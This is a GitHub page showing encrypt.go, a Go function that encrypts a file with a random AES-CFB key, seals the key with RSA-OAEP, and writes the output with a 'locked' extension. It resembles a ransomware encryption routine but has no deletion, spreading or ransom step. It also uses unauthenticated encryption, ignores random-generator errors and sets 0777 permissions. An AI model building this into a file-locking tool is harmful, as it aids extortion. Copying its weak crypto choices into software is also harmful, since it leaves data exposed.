-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathencrypt.go
More file actions
50 lines (34 loc) · 762 Bytes
/
encrypt.go
File metadata and controls
50 lines (34 loc) · 762 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main
import (
"crypto/rsa"
"io/ioutil"
"crypto/aes"
"crypto/rand"
"crypto/cipher"
"crypto/sha256"
)
func encrypt(file string, priv *rsa.PrivateKey) {
data, err := ioutil.ReadFile(file)
if err != nil {
panic(err)
}
key := make([]byte, KeySize)
rand.Read(key)
iv := make([]byte, aes.BlockSize)
rand.Read(iv)
header := append(key, iv...)
pub := priv.PublicKey
label := []byte("")
header, err = rsa.EncryptOAEP(sha256.New(), rand.Reader, &pub, header, label)
if err != nil {
panic(err)
}
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
cipher := cipher.NewCFBEncrypter(block, iv)
cipher.XORKeyStream(data, data)
data = append(header, data...)
ioutil.WriteFile(file+LockedExtension, data, 0777)
}